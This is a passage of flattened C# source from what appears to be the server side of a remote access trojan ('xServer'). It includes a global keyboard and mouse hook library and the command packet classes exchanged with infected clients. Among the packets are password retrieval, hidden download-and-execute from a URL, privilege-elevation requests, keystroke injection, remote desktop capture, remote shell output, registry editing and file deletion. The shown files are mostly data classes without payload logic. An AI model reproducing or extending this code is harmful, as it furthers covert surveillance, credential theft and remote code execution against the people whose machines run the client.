| 17 | protected override IEnumerable GetPressEventArgs(CallbackData data) 18 | { 19 | return KeyPressEventArgsExt.FromRawDataApp(data); 20 | } 21 | 22 | protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) 23 | { 24 | return KeyEventArgsExt.FromRawDataApp(data); 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/AppMouseListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using xServer.Core.MouseKeyHook.WinApi; 6 | 7 | namespace xServer.Core.MouseKeyHook.Implementation 8 | { 9 | internal class AppMouseListener : MouseListener 10 | { 11 | public AppMouseListener() 12 | : base(HookHelper.HookAppMouse) 13 | { 14 | } 15 | 16 | protected override MouseEventExtArgs GetEventArgs(CallbackData data) 17 | { 18 | return MouseEventExtArgs.FromRawDataApp(data); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/BaseListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System; 6 | using xServer.Core.MouseKeyHook.WinApi; 7 | 8 | namespace xServer.Core.MouseKeyHook.Implementation 9 | { 10 | internal abstract class BaseListener : IDisposable 11 | { 12 | protected BaseListener(Subscribe subscribe) 13 | { 14 | Handle = subscribe(Callback); 15 | } 16 | 17 | protected HookResult Handle { get; set; } 18 | 19 | public void Dispose() 20 | { 21 | Handle.Dispose(); 22 | } 23 | 24 | protected abstract bool Callback(CallbackData data); 25 | } 26 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/ButtonSet.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System.Windows.Forms; 6 | 7 | namespace xServer.Core.MouseKeyHook.Implementation 8 | { 9 | internal class ButtonSet 10 | { 11 | private MouseButtons m_Set; 12 | 13 | public ButtonSet() 14 | { 15 | m_Set = MouseButtons.None; 16 | } 17 | 18 | public void Add(MouseButtons element) 19 | { 20 | m_Set |= element; 21 | } 22 | 23 | public void Remove(MouseButtons element) 24 | { 25 | m_Set &= ~element; 26 | } 27 | 28 | public bool Contains(MouseButtons element) 29 | { 30 | return (m_Set & element) != MouseButtons.None; 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/Callback.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using xServer.Core.MouseKeyHook.WinApi; 6 | 7 | namespace xServer.Core.MouseKeyHook.Implementation 8 | { 9 | internal delegate bool Callback(CallbackData data); 10 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | namespace xServer.Core.MouseKeyHook.Implementation 6 | { 7 | internal class GlobalEventFacade : EventFacade 8 | { 9 | protected override MouseListener CreateMouseListener() 10 | { 11 | return new GlobalMouseListener(); 12 | } 13 | 14 | protected override KeyListener CreateKeyListener() 15 | { 16 | return new GlobalKeyListener(); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System.Collections.Generic; 6 | using xServer.Core.MouseKeyHook.WinApi; 7 | 8 | namespace xServer.Core.MouseKeyHook.Implementation 9 | { 10 | internal class GlobalKeyListener : KeyListener 11 | { 12 | public GlobalKeyListener() 13 | : base(HookHelper.HookGlobalKeyboard) 14 | { 15 | } 16 | 17 | protected override IEnumerable GetPressEventArgs(CallbackData data) 18 | { 19 | return KeyPressEventArgsExt.FromRawDataGlobal(data); 20 | } 21 | 22 | protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) 23 | { 24 | return KeyEventArgsExt.FromRawDataGlobal(data); 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/Subscribe.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using xServer.Core.MouseKeyHook.WinApi; 6 | 7 | namespace xServer.Core.MouseKeyHook.Implementation 8 | { 9 | internal delegate HookResult Subscribe(Callback callbck); 10 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/WinApi/CallbackData.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System; 6 | 7 | namespace xServer.Core.MouseKeyHook.WinApi 8 | { 9 | internal struct CallbackData 10 | { 11 | private readonly IntPtr m_LParam; 12 | private readonly IntPtr m_WParam; 13 | 14 | public CallbackData(IntPtr wParam, IntPtr lParam) 15 | { 16 | m_WParam = wParam; 17 | m_LParam = lParam; 18 | } 19 | 20 | public IntPtr WParam 21 | { 22 | get { return m_WParam; } 23 | } 24 | 25 | public IntPtr LParam 26 | { 27 | get { return m_LParam; } 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class DoShellExecuteResponse : IPacket 8 | { 9 | public string Output { get; set; } 10 | 11 | public bool IsError { get; private set; } 12 | 13 | public DoShellExecuteResponse() 14 | { 15 | } 16 | 17 | public DoShellExecuteResponse(string output, bool isError = false) 18 | { 19 | this.Output = output; 20 | this.IsError = isError; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | using xServer.Core.Registry; 7 | 8 | namespace xServer.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetChangeRegistryValueResponse : IPacket 12 | { 13 | public string KeyPath { get; set; } 14 | public RegValueData Value { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetChangeRegistryValueResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | using xServer.Core.Registry; 7 | 8 | namespace xServer.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetCreateRegistryKeyResponse : IPacket 12 | { 13 | public string ParentPath { get; set; } 14 | public RegSeekerMatch Match { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetCreateRegistryKeyResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | using xServer.Core.Registry; 7 | 8 | namespace xServer.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetCreateRegistryValueResponse : IPacket 12 | { 13 | public string KeyPath { get; set; } 14 | public RegValueData Value { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetCreateRegistryValueResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetDeleteRegistryKeyResponse : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string KeyName { get; set; } 14 | 15 | public bool IsError { get; set; } 16 | public string ErrorMsg { get; set; } 17 | 18 | public GetDeleteRegistryKeyResponse() { } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetDeleteRegistryValueResponse : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string ValueName { get; set; } 14 | 15 | public bool IsError { get; set; } 16 | public string ErrorMsg { get; set; } 17 | 18 | public GetDeleteRegistryValueResponse() { } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetDesktopResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetDesktopResponse : IPacket 8 | { 9 | public byte[] Image { get; set; } 10 | 11 | public int Quality { get; set; } 12 | 13 | public int Monitor { get; set; } 14 | 15 | public string Resolution { get; set; } 16 | 17 | public GetDesktopResponse() 18 | { 19 | } 20 | 21 | public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution) 22 | { 23 | this.Image = image; 24 | this.Quality = quality; 25 | this.Monitor = monitor; 26 | this.Resolution = resolution; 27 | } 28 | 29 | public void Execute(Client client) 30 | { 31 | client.Send(this); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetDirectoryResponse : IPacket 8 | { 9 | public string[] Files { get; set; } 10 | 11 | public string[] Folders { get; set; } 12 | 13 | public long[] FilesSize { get; set; } 14 | 15 | public GetDirectoryResponse() 16 | { 17 | } 18 | 19 | public GetDirectoryResponse(string[] files, string[] folders, long[] filessize) 20 | { 21 | this.Files = files; 22 | this.Folders = folders; 23 | this.FilesSize = filessize; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetDrivesResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetDrivesResponse : IPacket 8 | { 9 | public string[] DriveDisplayName { get; set; } 10 | 11 | public string[] RootDirectory { get; set; } 12 | 13 | public GetDrivesResponse() 14 | { 15 | } 16 | 17 | public GetDrivesResponse(string[] driveDisplayName, string[] rootDirectory) 18 | { 19 | this.DriveDisplayName = driveDisplayName; 20 | this.RootDirectory = rootDirectory; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetMonitorsResponse : IPacket 8 | { 9 | public int Number { get; set; } 10 | 11 | public GetMonitorsResponse() 12 | { 13 | } 14 | 15 | public GetMonitorsResponse(int number) 16 | { 17 | this.Number = number; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System; 3 | using xServer.Core.Networking; 4 | 5 | namespace xServer.Core.Packets.ClientPackets 6 | { 7 | [Serializable] 8 | public class GetPasswordsResponse : IPacket 9 | { 10 | public List Passwords { get; set; } 11 | 12 | public GetPasswordsResponse() 13 | { 14 | } 15 | 16 | public GetPasswordsResponse(List data) 17 | { 18 | this.Passwords = data; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetProcessesResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetProcessesResponse : IPacket 8 | { 9 | public string[] Processes { get; set; } 10 | 11 | public int[] IDs { get; set; } 12 | 13 | public string[] Titles { get; set; } 14 | 15 | public GetProcessesResponse() 16 | { 17 | } 18 | 19 | public GetProcessesResponse(string[] processes, int[] ids, string[] titles) 20 | { 21 | this.Processes = processes; 22 | this.IDs = ids; 23 | this.Titles = titles; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | using xServer.Core.Registry; 7 | 8 | namespace xServer.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetRegistryKeysResponse : IPacket 12 | { 13 | public RegSeekerMatch[] Matches { get; set; } 14 | 15 | public string RootKey { get; set; } 16 | 17 | public bool IsError { get; set; } 18 | public string ErrorMsg { get; set; } 19 | 20 | public GetRegistryKeysResponse() 21 | { } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetRenameRegistryKeyResponse : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string OldKeyName { get; set; } 14 | public string NewKeyName { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetRenameRegistryKeyResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetRenameRegistryValueResponse : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string OldValueName { get; set; } 14 | public string NewValueName { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetRenameRegistryValueResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System; 3 | using xServer.Core.Networking; 4 | 5 | namespace xServer.Core.Packets.ClientPackets 6 | { 7 | [Serializable] 8 | public class GetStartupItemsResponse : IPacket 9 | { 10 | public List StartupItems { get; set; } 11 | 12 | public GetStartupItemsResponse() 13 | { 14 | } 15 | 16 | public GetStartupItemsResponse(List startupitems) 17 | { 18 | this.StartupItems = startupitems; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetSystemInfoResponse : IPacket 8 | { 9 | public string[] SystemInfos { get; set; } 10 | 11 | public GetSystemInfoResponse() 12 | { 13 | } 14 | 15 | public GetSystemInfoResponse(string[] systeminfos) 16 | { 17 | this.SystemInfos = systeminfos; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/SetStatus.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class SetStatus : IPacket 8 | { 9 | public string Message { get; set; } 10 | 11 | public SetStatus() 12 | { 13 | } 14 | 15 | public SetStatus(string message) 16 | { 17 | Message = message; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/SetStatusFileManager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class SetStatusFileManager : IPacket 8 | { 9 | public string Message { get; set; } 10 | 11 | public bool SetLastDirectorySeen { get; set; } 12 | 13 | public SetStatusFileManager() 14 | { 15 | } 16 | 17 | public SetStatusFileManager(string message, bool setLastDirectorySeen) 18 | { 19 | Message = message; 20 | SetLastDirectorySeen = setLastDirectorySeen; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ClientPackets/SetUserStatus.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | using xServer.Enums; 4 | 5 | namespace xServer.Core.Packets.ClientPackets 6 | { 7 | [Serializable] 8 | public class SetUserStatus : IPacket 9 | { 10 | public UserStatus Message { get; set; } 11 | 12 | public SetUserStatus() 13 | { 14 | } 15 | 16 | public SetUserStatus(UserStatus message) 17 | { 18 | Message = message; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Server/Core/Packets/IPacket.cs: -------------------------------------------------------------------------------- 1 | using xServer.Core.Networking; 2 | 3 | namespace xServer.Core.Packets 4 | { 5 | public interface IPacket 6 | { 7 | void Execute(Client client); 8 | } 9 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoAskElevate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoAskElevate : IPacket 8 | { 9 | public DoAskElevate() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoChangeRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Text; 4 | using xServer.Core.Networking; 5 | using xServer.Core.Registry; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoChangeRegistryValue : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public RegValueData Value { get; set; } 14 | 15 | public DoChangeRegistryValue(string keyPath, RegValueData value) 16 | { 17 | KeyPath = keyPath; 18 | Value = value; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoClientDisconnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoClientDisconnect : IPacket 8 | { 9 | public DoClientDisconnect() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoClientReconnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoClientReconnect : IPacket 8 | { 9 | public DoClientReconnect() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoClientUninstall.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoClientUninstall : IPacket 8 | { 9 | public DoClientUninstall() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoCloseConnection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | 7 | [Serializable] 8 | public class DoCloseConnection : IPacket 9 | { 10 | public int LocalPort { get; set; } 11 | public int RemotePort { get; set; } 12 | 13 | public DoCloseConnection() 14 | { 15 | } 16 | 17 | public DoCloseConnection(int localport, int remoteport) 18 | { 19 | this.LocalPort = localport; 20 | this.RemotePort = remoteport; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoCreateRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoCreateRegistryKey : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | 14 | public DoCreateRegistryKey(string parentPath) 15 | { 16 | ParentPath = parentPath; 17 | } 18 | 19 | public void Execute(Client client) 20 | { 21 | client.Send(this); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoCreateRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using xServer.Core.Networking; 7 | 8 | namespace xServer.Core.Packets.ServerPackets 9 | { 10 | [Serializable] 11 | public class DoCreateRegistryValue : IPacket 12 | { 13 | public string KeyPath { get; set; } 14 | public RegistryValueKind Kind { get; set; } 15 | 16 | public DoCreateRegistryValue(string keyPath, RegistryValueKind kind) 17 | { 18 | KeyPath = keyPath; 19 | Kind = kind; 20 | } 21 | 22 | public void Execute(Client client) 23 | { 24 | client.Send(this); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoDeleteRegistryKey : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string KeyName { get; set; } 14 | 15 | public DoDeleteRegistryKey(string parentPath, string keyName) 16 | { 17 | ParentPath = parentPath; 18 | KeyName = keyName; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoDeleteRegistryValue : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string ValueName { get; set; } 14 | 15 | public DoDeleteRegistryValue(string keyPath, string valueName) 16 | { 17 | KeyPath = keyPath; 18 | ValueName = valueName; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoDownloadAndExecute : IPacket 8 | { 9 | public string URL { get; set; } 10 | 11 | public bool RunHidden { get; set; } 12 | 13 | public DoDownloadAndExecute() 14 | { 15 | } 16 | 17 | public DoDownloadAndExecute(string url, bool runhidden) 18 | { 19 | this.URL = url; 20 | this.RunHidden = runhidden; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoDownloadFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoDownloadFile : IPacket 8 | { 9 | public string RemotePath { get; set; } 10 | 11 | public int ID { get; set; } 12 | 13 | public DoDownloadFile() 14 | { 15 | } 16 | 17 | public DoDownloadFile(string remotepath, int id) 18 | { 19 | this.RemotePath = remotepath; 20 | this.ID = id; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoDownloadFileCancel : IPacket 8 | { 9 | public int ID { get; set; } 10 | 11 | public DoDownloadFileCancel() 12 | { 13 | } 14 | 15 | public DoDownloadFileCancel(int id) 16 | { 17 | this.ID = id; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoKeyboardEvent : IPacket 8 | { 9 | public byte Key { get; set; } 10 | 11 | public bool KeyDown { get; set; } 12 | 13 | public DoKeyboardEvent() 14 | { 15 | } 16 | 17 | public DoKeyboardEvent(byte key, bool keyDown) 18 | { 19 | this.Key = key; 20 | this.KeyDown = keyDown; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoLoadRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoLoadRegistryKey : IPacket 11 | { 12 | public string RootKeyName { get; set; } 13 | 14 | public DoLoadRegistryKey(string rootKeyName) 15 | { 16 | RootKeyName = rootKeyName; 17 | } 18 | 19 | public void Execute(Client client) 20 | { 21 | client.Send(this); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoPathDelete.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | using xServer.Enums; 4 | 5 | namespace xServer.Core.Packets.ServerPackets 6 | { 7 | [Serializable] 8 | public class DoPathDelete : IPacket 9 | { 10 | public string Path { get; set; } 11 | 12 | public PathType PathType { get; set; } 13 | 14 | public DoPathDelete() 15 | { 16 | } 17 | 18 | public DoPathDelete(string path, PathType pathtype) 19 | { 20 | this.Path = path; 21 | this.PathType = pathtype; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoPathRename.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using 